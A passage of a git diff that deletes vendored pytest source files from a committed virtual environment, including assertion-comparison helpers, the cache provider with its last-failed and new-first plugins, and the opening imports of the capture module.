object, object], str | None] | None = None - -# Works similarly as _reprcompare attribute. Is populated with the hook call -# when pytest_runtest_setup is called. -_assertion_pass: Callable[[int, str, str], None] | None = None - -# Config object which is assigned during pytest_runtest_protocol. -_config: Config | None = None - - -class _HighlightFunc(Protocol): - def __call__(self, source: str, lexer: Literal["diff", "python"] = "python") -> str: - """Apply highlighting to the given source.""" - - -def format_explanation(explanation: str) -> str: - r"""Format an explanation. - - Normally all embedded newlines are escaped, however there are - three exceptions: \n{, \n} and \n~. The first two are intended - cover nested explanations, see function and attribute explanations - for examples (.visit_Call(), visit_Attribute()). The last one is - for when one explanation needs to span multiple lines, e.g. when - displaying diffs. - """ - lines = _split_explanation(explanation) - result = _format_lines(lines) - return "\n".join(result) - - -def _split_explanation(explanation: str) -> list[str]: - r"""Return a list of individual lines in the explanation. - - This will return a list of lines split on '\n{', '\n}' and '\n~'. - Any other newlines will be escaped and appear in the line as the - literal '\n' characters. - """ - raw_lines = (explanation or "").split("\n") - lines = [raw_lines[0]] - for values in raw_lines[1:]: - if values and values[0] in ["{", "}", "~", ">"]: - lines.append(values) - else: - lines[-1] += "\\n" + values - return lines - - -def _format_lines(lines: Sequence[str]) -> list[str]: - """Format the individual lines. - - This will replace the '{', '}' and '~' characters of our mini formatting - language with the proper 'where ...', 'and ...' and ' + ...' text, taking - care of indentation along the way. - - Return a list of formatted lines. - """ - result = list(lines[:1]) - stack = [0] - stackcnt = [0] - for line in lines[1:]: - if line.startswith("{"): - if stackcnt[-1]: - s = "and " - else: - s = "where " - stack.append(len(result)) - stackcnt[-1] += 1 - stackcnt.append(0) - result.append(" +" + " " * (len(stack) - 1) + s + line[1:]) - elif line.startswith("}"): - stack.pop() - stackcnt.pop() - result[stack[-1]] += line[1:] - else: - assert line[0] in ["~", ">"] - stack[-1] += 1 - indent = len(stack) if line.startswith("~") else len(stack) - 1 - result.append(" " * indent + line[1:]) - assert len(stack) == 1 - return result - - -def issequence(x: Any) -> bool: - return isinstance(x, collections.abc.Sequence) and not isinstance(x, str) - - -def istext(x: Any) -> bool: - return isinstance(x, str) - - -def isdict(x: Any) -> bool: - return isinstance(x, dict) - - -def isset(x: Any) -> bool: - return isinstance(x, (set, frozenset)) - - -def isnamedtuple(obj: Any) -> bool: - return isinstance(obj, tuple) and getattr(obj, "_fields", None) is not None - - -def isdatacls(obj: Any) -> bool: - return getattr(obj, "__dataclass_fields__", None) is not None - - -def isattrs(obj: Any) -> bool: - return getattr(obj, "__attrs_attrs__", None) is not None - - -def isiterable(obj: Any) -> bool: - try: - iter(obj) - return not istext(obj) - except Exception: - return False - - -def has_default_eq( - obj: object, -) -> bool: - """Check if an instance of an object contains the default eq - - First, we check if the object's __eq__ attribute has __code__, - if so, we check the equally of the method code filename (__code__.co_filename) - to the default one generated by the dataclass and attr module - for dataclasses the default co_filename is , for attrs class, the __eq__ should contain "attrs eq generated" - """ - # inspired from https://github.com/willmcgugan/rich/blob/07d51ffc1aee6f16bd2e5a25b4e82850fb9ed778/rich/pretty.py#L68 - if hasattr(obj.__eq__, "__code__") and hasattr(obj.__eq__.__code__, "co_filename"): - code_filename = obj.__eq__.__code__.co_filename - - if isattrs(obj): - return "attrs generated eq" in code_filename - - return code_filename == "" # data class - return True - - -def assertrepr_compare( - config, op: str, left: Any, right: Any, use_ascii: bool = False -) -> list[str] | None: - """Return specialised explanations for some operators/operands.""" - verbose = config.get_verbosity(Config.VERBOSITY_ASSERTIONS) - - # Strings which normalize equal are often hard to distinguish when printed; use ascii() to make this easier. - # See issue #3246. - use_ascii = ( - isinstance(left, str) - and isinstance(right, str) - and normalize("NFD", left) == normalize("NFD", right) - ) - - if verbose > 1: - left_repr = saferepr_unlimited(left, use_ascii=use_ascii) - right_repr = saferepr_unlimited(right, use_ascii=use_ascii) - else: - # XXX: "15 chars indentation" is wrong - # ("E AssertionError: assert "); should use term width. - maxsize = ( - 80 - 15 - len(op) - 2 - ) // 2 # 15 chars indentation, 1 space around op - - left_repr = saferepr(left, maxsize=maxsize, use_ascii=use_ascii) - right_repr = saferepr(right, maxsize=maxsize, use_ascii=use_ascii) - - summary = f"{left_repr} {op} {right_repr}" - highlighter = config.get_terminal_writer()._highlight - - explanation = None - try: - if op == "==": - explanation = _compare_eq_any(left, right, highlighter, verbose) - elif op == "not in": - if istext(left) and istext(right): - explanation = _notin_text(left, right, verbose) - elif op == "!=": - if isset(left) and isset(right): - explanation = ["Both sets are equal"] - elif op == ">=": - if isset(left) and isset(right): - explanation = _compare_gte_set(left, right, highlighter, verbose) - elif op == "<=": - if isset(left) and isset(right): - explanation = _compare_lte_set(left, right, highlighter, verbose) - elif op == ">": - if isset(left) and isset(right): - explanation = _compare_gt_set(left, right, highlighter, verbose) - elif op == "<": - if isset(left) and isset(right): - explanation = _compare_lt_set(left, right, highlighter, verbose) - - except outcomes.Exit: - raise - except Exception: - repr_crash = _pytest._code.ExceptionInfo.from_current()._getreprcrash() - explanation = [ - f"(pytest_assertion plugin: representation of details failed: {repr_crash}.", - " Probably an object has a faulty __repr__.)", - ] - - if not explanation: - return None - - if explanation[0] != "": - explanation = ["", *explanation] - return [summary, *explanation] - - -def _compare_eq_any( - left: Any, right: Any, highlighter: _HighlightFunc, verbose: int = 0 -) -> list[str]: - explanation = [] - if istext(left) and istext(right): - explanation = _diff_text(left, right, verbose) - else: - from _pytest.python_api import ApproxBase - - if isinstance(left, ApproxBase) or isinstance(right, ApproxBase): - # Although the common order should be obtained == expected, this ensures both ways - approx_side = left if isinstance(left, ApproxBase) else right - other_side = right if isinstance(left, ApproxBase) else left - - explanation = approx_side._repr_compare(other_side) - elif type(left) is type(right) and ( - isdatacls(left) or isattrs(left) or isnamedtuple(left) - ): - # Note: unlike dataclasses/attrs, namedtuples compare only the - # field values, not the type or field names. But this branch - # intentionally only handles the same-type case, which was often - # used in older code bases before dataclasses/attrs were available. - explanation = _compare_eq_cls(left, right, highlighter, verbose) - elif issequence(left) and issequence(right): - explanation = _compare_eq_sequence(left, right, highlighter, verbose) - elif isset(left) and isset(right): - explanation = _compare_eq_set(left, right, highlighter, verbose) - elif isdict(left) and isdict(right): - explanation = _compare_eq_dict(left, right, highlighter, verbose) - - if isiterable(left) and isiterable(right): - expl = _compare_eq_iterable(left, right, highlighter, verbose) - explanation.extend(expl) - - return explanation - - -def _diff_text(left: str, right: str, verbose: int = 0) -> list[str]: - """Return the explanation for the diff between text. - - Unless --verbose is used this will skip leading and trailing - characters which are identical to keep the diff minimal. - """ - from difflib import ndiff - - explanation: list[str] = [] - - if verbose < 1: - i = 0 # just in case left or right has zero length - for i in range(min(len(left), len(right))): - if left[i] != right[i]: - break - if i > 42: - i -= 10 # Provide some context - explanation = [ - f"Skipping {i} identical leading characters in diff, use -v to show" - ] - left = left[i:] - right = right[i:] - if len(left) == len(right): - for i in range(len(left)): - if left[-i] != right[-i]: - break - if i > 42: - i -= 10 # Provide some context - explanation += [ - f"Skipping {i} identical trailing " - "characters in diff, use -v to show" - ] - left = left[:-i] - right = right[:-i] - keepends = True - if left.isspace() or right.isspace(): - left = repr(str(left)) - right = repr(str(right)) - explanation += ["Strings contain only whitespace, escaping them using repr()"] - # "right" is the expected base against which we compare "left", - # see https://github.com/pytest-dev/pytest/issues/3333 - explanation += [ - line.strip("\n") - for line in ndiff(right.splitlines(keepends), left.splitlines(keepends)) - ] - return explanation - - -def _compare_eq_iterable( - left: Iterable[Any], - right: Iterable[Any], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> list[str]: - if verbose <= 0 and not running_on_ci(): - return ["Use -v to get more diff"] - # dynamic import to speedup pytest - import difflib - - left_formatting = PrettyPrinter().pformat(left).splitlines() - right_formatting = PrettyPrinter().pformat(right).splitlines() - - explanation = ["", "Full diff:"] - # "right" is the expected base against which we compare "left", - # see https://github.com/pytest-dev/pytest/issues/3333 - explanation.extend( - highlighter( - "\n".join( - line.rstrip() - for line in difflib.ndiff(right_formatting, left_formatting) - ), - lexer="diff", - ).splitlines() - ) - return explanation - - -def _compare_eq_sequence( - left: Sequence[Any], - right: Sequence[Any], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> list[str]: - comparing_bytes = isinstance(left, bytes) and isinstance(right, bytes) - explanation: list[str] = [] - len_left = len(left) - len_right = len(right) - for i in range(min(len_left, len_right)): - if left[i] != right[i]: - if comparing_bytes: - # when comparing bytes, we want to see their ascii representation - # instead of their numeric values (#5260) - # using a slice gives us the ascii representation: - # >>> s = b'foo' - # >>> s[0] - # 102 - # >>> s[0:1] - # b'f' - left_value = left[i : i + 1] - right_value = right[i : i + 1] - else: - left_value = left[i] - right_value = right[i] - - explanation.append( - f"At index {i} diff:" - f" {highlighter(repr(left_value))} != {highlighter(repr(right_value))}" - ) - break - - if comparing_bytes: - # when comparing bytes, it doesn't help to show the "sides contain one or more - # items" longer explanation, so skip it - - return explanation - - len_diff = len_left - len_right - if len_diff: - if len_diff > 0: - dir_with_more = "Left" - extra = saferepr(left[len_right]) - else: - len_diff = 0 - len_diff - dir_with_more = "Right" - extra = saferepr(right[len_left]) - - if len_diff == 1: - explanation += [ - f"{dir_with_more} contains one more item: {highlighter(extra)}" - ] - else: - explanation += [ - "%s contains %d more items, first extra item: %s" - % (dir_with_more, len_diff, highlighter(extra)) - ] - return explanation - - -def _compare_eq_set( - left: AbstractSet[Any], - right: AbstractSet[Any], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> list[str]: - explanation = [] - explanation.extend(_set_one_sided_diff("left", left, right, highlighter)) - explanation.extend(_set_one_sided_diff("right", right, left, highlighter)) - return explanation - - -def _compare_gt_set( - left: AbstractSet[Any], - right: AbstractSet[Any], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> list[str]: - explanation = _compare_gte_set(left, right, highlighter) - if not explanation: - return ["Both sets are equal"] - return explanation - - -def _compare_lt_set( - left: AbstractSet[Any], - right: AbstractSet[Any], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> list[str]: - explanation = _compare_lte_set(left, right, highlighter) - if not explanation: - return ["Both sets are equal"] - return explanation - - -def _compare_gte_set( - left: AbstractSet[Any], - right: AbstractSet[Any], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> list[str]: - return _set_one_sided_diff("right", right, left, highlighter) - - -def _compare_lte_set( - left: AbstractSet[Any], - right: AbstractSet[Any], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> list[str]: - return _set_one_sided_diff("left", left, right, highlighter) - - -def _set_one_sided_diff( - posn: str, - set1: AbstractSet[Any], - set2: AbstractSet[Any], - highlighter: _HighlightFunc, -) -> list[str]: - explanation = [] - diff = set1 - set2 - if diff: - explanation.append(f"Extra items in the {posn} set:") - for item in diff: - explanation.append(highlighter(saferepr(item))) - return explanation - - -def _compare_eq_dict( - left: Mapping[Any, Any], - right: Mapping[Any, Any], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> list[str]: - explanation: list[str] = [] - set_left = set(left) - set_right = set(right) - common = set_left.intersection(set_right) - same = {k: left[k] for k in common if left[k] == right[k]} - if same and verbose < 2: - explanation += [f"Omitting {len(same)} identical items, use -vv to show"] - elif same: - explanation += ["Common items:"] - explanation += highlighter(pprint.pformat(same)).splitlines() - diff = {k for k in common if left[k] != right[k]} - if diff: - explanation += ["Differing items:"] - for k in diff: - explanation += [ - highlighter(saferepr({k: left[k]})) - + " != " - + highlighter(saferepr({k: right[k]})) - ] - extra_left = set_left - set_right - len_extra_left = len(extra_left) - if len_extra_left: - explanation.append( - "Left contains %d more item%s:" - % (len_extra_left, "" if len_extra_left == 1 else "s") - ) - explanation.extend( - highlighter(pprint.pformat({k: left[k] for k in extra_left})).splitlines() - ) - extra_right = set_right - set_left - len_extra_right = len(extra_right) - if len_extra_right: - explanation.append( - "Right contains %d more item%s:" - % (len_extra_right, "" if len_extra_right == 1 else "s") - ) - explanation.extend( - highlighter(pprint.pformat({k: right[k] for k in extra_right})).splitlines() - ) - return explanation - - -def _compare_eq_cls( - left: Any, right: Any, highlighter: _HighlightFunc, verbose: int -) -> list[str]: - if not has_default_eq(left): - return [] - if isdatacls(left): - import dataclasses - - all_fields = dataclasses.fields(left) - fields_to_check = [info.name for info in all_fields if info.compare] - elif isattrs(left): - all_fields = left.__attrs_attrs__ - fields_to_check = [field.name for field in all_fields if getattr(field, "eq")] - elif isnamedtuple(left): - fields_to_check = left._fields - else: - assert False - - indent = " " - same = [] - diff = [] - for field in fields_to_check: - if getattr(left, field) == getattr(right, field): - same.append(field) - else: - diff.append(field) - - explanation = [] - if same or diff: - explanation += [""] - if same and verbose < 2: - explanation.append(f"Omitting {len(same)} identical items, use -vv to show") - elif same: - explanation += ["Matching attributes:"] - explanation += highlighter(pprint.pformat(same)).splitlines() - if diff: - explanation += ["Differing attributes:"] - explanation += highlighter(pprint.pformat(diff)).splitlines() - for field in diff: - field_left = getattr(left, field) - field_right = getattr(right, field) - explanation += [ - "", - f"Drill down into differing attribute {field}:", - f"{indent}{field}: {highlighter(repr(field_left))} != {highlighter(repr(field_right))}", - ] - explanation += [ - indent + line - for line in _compare_eq_any( - field_left, field_right, highlighter, verbose - ) - ] - return explanation - - -def _notin_text(term: str, text: str, verbose: int = 0) -> list[str]: - index = text.find(term) - head = text[:index] - tail = text[index + len(term) :] - correct_text = head + tail - diff = _diff_text(text, correct_text, verbose) - newdiff = [f"{saferepr(term, maxsize=42)} is contained here:"] - for line in diff: - if line.startswith("Skipping"): - continue - if line.startswith("- "): - continue - if line.startswith("+ "): - newdiff.append(" " + line[2:]) - else: - newdiff.append(line) - return newdiff - - -def running_on_ci() -> bool: - """Check if we're currently running on a CI system.""" - env_vars = ["CI", "BUILD_NUMBER"] - return any(var in os.environ for var in env_vars) diff --git a/backend/venv/Lib/site-packages/_pytest/cacheprovider.py b/backend/venv/Lib/site-packages/_pytest/cacheprovider.py deleted file mode 100644 index 20bb262e..00000000 --- a/backend/venv/Lib/site-packages/_pytest/cacheprovider.py +++ /dev/null @@ -1,628 +0,0 @@ -# mypy: allow-untyped-defs -"""Implementation of the cache provider.""" - -# This plugin was not named "cache" to avoid conflicts with the external -# pytest-cache version. -from __future__ import annotations - -import dataclasses -import errno -import json -import os -from pathlib import Path -import tempfile -from typing import final -from typing import Generator -from typing import Iterable - -from .pathlib import resolve_from_str -from .pathlib import rm_rf -from .reports import CollectReport -from _pytest import nodes -from _pytest._io import TerminalWriter -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import FixtureRequest -from _pytest.main import Session -from _pytest.nodes import Directory -from _pytest.nodes import File -from _pytest.reports import TestReport - - -README_CONTENT = """\ -# pytest cache directory # - -This directory contains data from the pytest's cache plugin, -which provides the `--lf` and `--ff` options, as well as the `cache` fixture. - -**Do not** commit this to version control. - -See [the docs](https://docs.pytest.org/en/stable/how-to/cache.html) for more information. -""" - -CACHEDIR_TAG_CONTENT = b"""\ -Signature: 8a477f597d28d172789f06886806bc55 -# This file is a cache directory tag created by pytest. -# For information about cache directory tags, see: -# https://bford.info/cachedir/spec.html -""" - - -@final -@dataclasses.dataclass -class Cache: - """Instance of the `cache` fixture.""" - - _cachedir: Path = dataclasses.field(repr=False) - _config: Config = dataclasses.field(repr=False) - - # Sub-directory under cache-dir for directories created by `mkdir()`. - _CACHE_PREFIX_DIRS = "d" - - # Sub-directory under cache-dir for values created by `set()`. - _CACHE_PREFIX_VALUES = "v" - - def __init__( - self, cachedir: Path, config: Config, *, _ispytest: bool = False - ) -> None: - check_ispytest(_ispytest) - self._cachedir = cachedir - self._config = config - - @classmethod - def for_config(cls, config: Config, *, _ispytest: bool = False) -> Cache: - """Create the Cache instance for a Config. - - :meta private: - """ - check_ispytest(_ispytest) - cachedir = cls.cache_dir_from_config(config, _ispytest=True) - if config.getoption("cacheclear") and cachedir.is_dir(): - cls.clear_cache(cachedir, _ispytest=True) - return cls(cachedir, config, _ispytest=True) - - @classmethod - def clear_cache(cls, cachedir: Path, _ispytest: bool = False) -> None: - """Clear the sub-directories used to hold cached directories and values. - - :meta private: - """ - check_ispytest(_ispytest) - for prefix in (cls._CACHE_PREFIX_DIRS, cls._CACHE_PREFIX_VALUES): - d = cachedir / prefix - if d.is_dir(): - rm_rf(d) - - @staticmethod - def cache_dir_from_config(config: Config, *, _ispytest: bool = False) -> Path: - """Get the path to the cache directory for a Config. - - :meta private: - """ - check_ispytest(_ispytest) - return resolve_from_str(config.getini("cache_dir"), config.rootpath) - - def warn(self, fmt: str, *, _ispytest: bool = False, **args: object) -> None: - """Issue a cache warning. - - :meta private: - """ - check_ispytest(_ispytest) - import warnings - - from _pytest.warning_types import PytestCacheWarning - - warnings.warn( - PytestCacheWarning(fmt.format(**args) if args else fmt), - self._config.hook, - stacklevel=3, - ) - - def _mkdir(self, path: Path) -> None: - self._ensure_cache_dir_and_supporting_files() - path.mkdir(exist_ok=True, parents=True) - - def mkdir(self, name: str) -> Path: - """Return a directory path object with the given name. - - If the directory does not yet exist, it will be created. You can use - it to manage files to e.g. store/retrieve database dumps across test - sessions. - - .. versionadded:: 7.0 - - :param name: - Must be a string not containing a ``/`` separator. - Make sure the name contains your plugin or application - identifiers to prevent clashes with other cache users. - """ - path = Path(name) - if len(path.parts) > 1: - raise ValueError("name is not allowed to contain path separators") - res = self._cachedir.joinpath(self._CACHE_PREFIX_DIRS, path) - self._mkdir(res) - return res - - def _getvaluepath(self, key: str) -> Path: - return self._cachedir.joinpath(self._CACHE_PREFIX_VALUES, Path(key)) - - def get(self, key: str, default): - """Return the cached value for the given key. - - If no value was yet cached or the value cannot be read, the specified - default is returned. - - :param key: - Must be a ``/`` separated value. Usually the first - name is the name of your plugin or your application. - :param default: - The value to return in case of a cache-miss or invalid cache value. - """ - path = self._getvaluepath(key) - try: - with path.open("r", encoding="UTF-8") as f: - return json.load(f) - except (ValueError, OSError): - return default - - def set(self, key: str, value: object) -> None: - """Save value for the given key. - - :param key: - Must be a ``/`` separated value. Usually the first - name is the name of your plugin or your application. - :param value: - Must be of any combination of basic python types, - including nested types like lists of dictionaries. - """ - path = self._getvaluepath(key) - try: - self._mkdir(path.parent) - except OSError as exc: - self.warn( - f"could not create cache path {path}: {exc}", - _ispytest=True, - ) - return - data = json.dumps(value, ensure_ascii=False, indent=2) - try: - f = path.open("w", encoding="UTF-8") - except OSError as exc: - self.warn( - f"cache could not write path {path}: {exc}", - _ispytest=True, - ) - else: - with f: - f.write(data) - - def _ensure_cache_dir_and_supporting_files(self) -> None: - """Create the cache dir and its supporting files.""" - if self._cachedir.is_dir(): - return - - self._cachedir.parent.mkdir(parents=True, exist_ok=True) - with tempfile.TemporaryDirectory( - prefix="pytest-cache-files-", - dir=self._cachedir.parent, - ) as newpath: - path = Path(newpath) - - # Reset permissions to the default, see #12308. - # Note: there's no way to get the current umask atomically, eek. - umask = os.umask(0o022) - os.umask(umask) - path.chmod(0o777 - umask) - - with open(path.joinpath("README.md"), "x", encoding="UTF-8") as f: - f.write(README_CONTENT) - with open(path.joinpath(".gitignore"), "x", encoding="UTF-8") as f: - f.write("# Created by pytest automatically.\n*\n") - with open(path.joinpath("CACHEDIR.TAG"), "xb") as f: - f.write(CACHEDIR_TAG_CONTENT) - - try: - path.rename(self._cachedir) - except OSError as e: - # If 2 concurrent pytests both race to the rename, the loser - # gets "Directory not empty" from the rename. In this case, - # everything is handled so just continue (while letting the - # temporary directory be cleaned up). - # On Windows, the error is a FileExistsError which translates to EEXIST. - if e.errno not in (errno.ENOTEMPTY, errno.EEXIST): - raise - else: - # Create a directory in place of the one we just moved so that - # `TemporaryDirectory`'s cleanup doesn't complain. - # - # TODO: pass ignore_cleanup_errors=True when we no longer support python < 3.10. - # See https://github.com/python/cpython/issues/74168. Note that passing - # delete=False would do the wrong thing in case of errors and isn't supported - # until python 3.12. - path.mkdir() - - -class LFPluginCollWrapper: - def __init__(self, lfplugin: LFPlugin) -> None: - self.lfplugin = lfplugin - self._collected_at_least_one_failure = False - - @hookimpl(wrapper=True) - def pytest_make_collect_report( - self, collector: nodes.Collector - ) -> Generator[None, CollectReport, CollectReport]: - res = yield - if isinstance(collector, (Session, Directory)): - # Sort any lf-paths to the beginning. - lf_paths = self.lfplugin._last_failed_paths - - # Use stable sort to prioritize last failed. - def sort_key(node: nodes.Item | nodes.Collector) -> bool: - return node.path in lf_paths - - res.result = sorted( - res.result, - key=sort_key, - reverse=True, - ) - - elif isinstance(collector, File): - if collector.path in self.lfplugin._last_failed_paths: - result = res.result - lastfailed = self.lfplugin.lastfailed - - # Only filter with known failures. - if not self._collected_at_least_one_failure: - if not any(x.nodeid in lastfailed for x in result): - return res - self.lfplugin.config.pluginmanager.register( - LFPluginCollSkipfiles(self.lfplugin), "lfplugin-collskip" - ) - self._collected_at_least_one_failure = True - - session = collector.session - result[:] = [ - x - for x in result - if x.nodeid in lastfailed - # Include any passed arguments (not trivial to filter). - or session.isinitpath(x.path) - # Keep all sub-collectors. - or isinstance(x, nodes.Collector) - ] - - return res - - -class LFPluginCollSkipfiles: - def __init__(self, lfplugin: LFPlugin) -> None: - self.lfplugin = lfplugin - - @hookimpl - def pytest_make_collect_report( - self, collector: nodes.Collector - ) -> CollectReport | None: - if isinstance(collector, File): - if collector.path not in self.lfplugin._last_failed_paths: - self.lfplugin._skipped_files += 1 - - return CollectReport( - collector.nodeid, "passed", longrepr=None, result=[] - ) - return None - - -class LFPlugin: - """Plugin which implements the --lf (run last-failing) option.""" - - def __init__(self, config: Config) -> None: - self.config = config - active_keys = "lf", "failedfirst" - self.active = any(config.getoption(key) for key in active_keys) - assert config.cache - self.lastfailed: dict[str, bool] = config.cache.get("cache/lastfailed", {}) - self._previously_failed_count: int | None = None - self._report_status: str | None = None - self._skipped_files = 0 # count skipped files during collection due to --lf - - if config.getoption("lf"): - self._last_failed_paths = self.get_last_failed_paths() - config.pluginmanager.register( - LFPluginCollWrapper(self), "lfplugin-collwrapper" - ) - - def get_last_failed_paths(self) -> set[Path]: - """Return a set with all Paths of the previously failed nodeids and - their parents.""" - rootpath = self.config.rootpath - result = set() - for nodeid in self.lastfailed: - path = rootpath / nodeid.split("::")[0] - result.add(path) - result.update(path.parents) - return {x for x in result if x.exists()} - - def pytest_report_collectionfinish(self) -> str | None: - if self.active and self.config.getoption("verbose") >= 0: - return f"run-last-failure: {self._report_status}" - return None - - def pytest_runtest_logreport(self, report: TestReport) -> None: - if (report.when == "call" and report.passed) or report.skipped: - self.lastfailed.pop(report.nodeid, None) - elif report.failed: - self.lastfailed[report.nodeid] = True - - def pytest_collectreport(self, report: CollectReport) -> None: - passed = report.outcome in ("passed", "skipped") - if passed: - if report.nodeid in self.lastfailed: - self.lastfailed.pop(report.nodeid) - self.lastfailed.update((item.nodeid, True) for item in report.result) - else: - self.lastfailed[report.nodeid] = True - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_collection_modifyitems( - self, config: Config, items: list[nodes.Item] - ) -> Generator[None, None, None]: - res = yield - - if not self.active: - return res - - if self.lastfailed: - previously_failed = [] - previously_passed = [] - for item in items: - if item.nodeid in self.lastfailed: - previously_failed.append(item) - else: - previously_passed.append(item) - self._previously_failed_count = len(previously_failed) - - if not previously_failed: - # Running a subset of all tests with recorded failures - # only outside of it. - self._report_status = "%d known failures not in selected tests" % ( - len(self.lastfailed), - ) - else: - if self.config.getoption("lf"): - items[:] = previously_failed - config.hook.pytest_deselected(items=previously_passed) - else: # --failedfirst - items[:] = previously_failed + previously_passed - - noun = "failure" if self._previously_failed_count == 1 else "failures" - suffix = " first" if self.config.getoption("failedfirst") else "" - self._report_status = ( - f"rerun previous {self._previously_failed_count} {noun}{suffix}" - ) - - if self._skipped_files > 0: - files_noun = "file" if self._skipped_files == 1 else "files" - self._report_status += f" (skipped {self._skipped_files} {files_noun})" - else: - self._report_status = "no previously failed tests, " - if self.config.getoption("last_failed_no_failures") == "none": - self._report_status += "deselecting all items." - config.hook.pytest_deselected(items=items[:]) - items[:] = [] - else: - self._report_status += "not deselecting items." - - return res - - def pytest_sessionfinish(self, session: Session) -> None: - config = self.config - if config.getoption("cacheshow") or hasattr(config, "workerinput"): - return - - assert config.cache is not None - saved_lastfailed = config.cache.get("cache/lastfailed", {}) - if saved_lastfailed != self.lastfailed: - config.cache.set("cache/lastfailed", self.lastfailed) - - -class NFPlugin: - """Plugin which implements the --nf (run new-first) option.""" - - def __init__(self, config: Config) -> None: - self.config = config - self.active = config.option.newfirst - assert config.cache is not None - self.cached_nodeids = set(config.cache.get("cache/nodeids", [])) - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_collection_modifyitems( - self, items: list[nodes.Item] - ) -> Generator[None, None, None]: - res = yield - - if self.active: - new_items: dict[str, nodes.Item] = {} - other_items: dict[str, nodes.Item] = {} - for item in items: - if item.nodeid not in self.cached_nodeids: - new_items[item.nodeid] = item - else: - other_items[item.nodeid] = item - - items[:] = self._get_increasing_order( - new_items.values() - ) + self._get_increasing_order(other_items.values()) - self.cached_nodeids.update(new_items) - else: - self.cached_nodeids.update(item.nodeid for item in items) - - return res - - def _get_increasing_order(self, items: Iterable[nodes.Item]) -> list[nodes.Item]: - return sorted(items, key=lambda item: item.path.stat().st_mtime, reverse=True) - - def pytest_sessionfinish(self) -> None: - config = self.config - if config.getoption("cacheshow") or hasattr(config, "workerinput"): - return - - if config.getoption("collectonly"): - return - - assert config.cache is not None - config.cache.set("cache/nodeids", sorted(self.cached_nodeids)) - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group.addoption( - "--lf", - "--last-failed", - action="store_true", - dest="lf", - help="Rerun only the tests that failed " - "at the last run (or all if none failed)", - ) - group.addoption( - "--ff", - "--failed-first", - action="store_true", - dest="failedfirst", - help="Run all tests, but run the last failures first. " - "This may re-order tests and thus lead to " - "repeated fixture setup/teardown.", - ) - group.addoption( - "--nf", - "--new-first", - action="store_true", - dest="newfirst", - help="Run tests from new files first, then the rest of the tests " - "sorted by file mtime", - ) - group.addoption( - "--cache-show", - action="append", - nargs="?", - dest="cacheshow", - help=( - "Show cache contents, don't perform collection or tests. " - "Optional argument: glob (default: '*')." - ), - ) - group.addoption( - "--cache-clear", - action="store_true", - dest="cacheclear", - help="Remove all cache contents at start of test run", - ) - cache_dir_default = ".pytest_cache" - if "TOX_ENV_DIR" in os.environ: - cache_dir_default = os.path.join(os.environ["TOX_ENV_DIR"], cache_dir_default) - parser.addini("cache_dir", default=cache_dir_default, help="Cache directory path") - group.addoption( - "--lfnf", - "--last-failed-no-failures", - action="store", - dest="last_failed_no_failures", - choices=("all", "none"), - default="all", - help="With ``--lf``, determines whether to execute tests when there " - "are no previously (known) failures or when no " - "cached ``lastfailed`` data was found. " - "``all`` (the default) runs the full test suite again. " - "``none`` just emits a message about no known failures and exits successfully.", - ) - - -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - if config.option.cacheshow and not config.option.help: - from _pytest.main import wrap_session - - return wrap_session(config, cacheshow) - return None - - -@hookimpl(tryfirst=True) -def pytest_configure(config: Config) -> None: - config.cache = Cache.for_config(config, _ispytest=True) - config.pluginmanager.register(LFPlugin(config), "lfplugin") - config.pluginmanager.register(NFPlugin(config), "nfplugin") - - -@fixture -def cache(request: FixtureRequest) -> Cache: - """Return a cache object that can persist state between testing sessions. - - cache.get(key, default) - cache.set(key, value) - - Keys must be ``/`` separated strings, where the first part is usually the - name of your plugin or application to avoid clashes with other cache users. - - Values can be any object handled by the json stdlib module. - """ - assert request.config.cache is not None - return request.config.cache - - -def pytest_report_header(config: Config) -> str | None: - """Display cachedir with --cache-show and if non-default.""" - if config.option.verbose > 0 or config.getini("cache_dir") != ".pytest_cache": - assert config.cache is not None - cachedir = config.cache._cachedir - # TODO: evaluate generating upward relative paths - # starting with .., ../.. if sensible - - try: - displaypath = cachedir.relative_to(config.rootpath) - except ValueError: - displaypath = cachedir - return f"cachedir: {displaypath}" - return None - - -def cacheshow(config: Config, session: Session) -> int: - from pprint import pformat - - assert config.cache is not None - - tw = TerminalWriter() - tw.line("cachedir: " + str(config.cache._cachedir)) - if not config.cache._cachedir.is_dir(): - tw.line("cache is empty") - return 0 - - glob = config.option.cacheshow[0] - if glob is None: - glob = "*" - - dummy = object() - basedir = config.cache._cachedir - vdir = basedir / Cache._CACHE_PREFIX_VALUES - tw.sep("-", f"cache values for {glob!r}") - for valpath in sorted(x for x in vdir.rglob(glob) if x.is_file()): - key = str(valpath.relative_to(vdir)) - val = config.cache.get(key, dummy) - if val is dummy: - tw.line(f"{key} contains unreadable content, will be ignored") - else: - tw.line(f"{key} contains:") - for line in pformat(val).splitlines(): - tw.line(" " + line) - - ddir = basedir / Cache._CACHE_PREFIX_DIRS - if ddir.is_dir(): - contents = sorted(ddir.rglob(glob)) - tw.sep("-", f"cache directories for {glob!r}") - for p in contents: - # if p.is_dir(): - # print("%s/" % p.relative_to(basedir)) - if p.is_file(): - key = str(p.relative_to(basedir)) - tw.line(f"{key} is a file of length {p.stat().st_size:d}") - return 0 diff --git a/backend/venv/Lib/site-packages/_pytest/capture.py b/backend/venv/Lib/site-packages/_pytest/capture.py deleted file mode 100644 index c4dfcc27..00000000 --- a/backend/venv/Lib/site-packages/_pytest/capture.py +++ /dev/null @@ -1,1086 +0,0 @@ -# mypy: allow-untyped-defs -"""Per-test stdout/stderr capturing mechanism.""" - -from __future__ import annotations - -import abc -import collections -import contextlib -import io -from io import UnsupportedOperation -import os -import sys -from tempfile import TemporaryFile -from types import TracebackType -from typing import Any -from typing import AnyStr -from typing import BinaryIO -from typing import Final -from typing import final -from typing import Generator -from typing import Generic -from typing import Iterable -from typing import Iterator -from typing import Literal -from typing 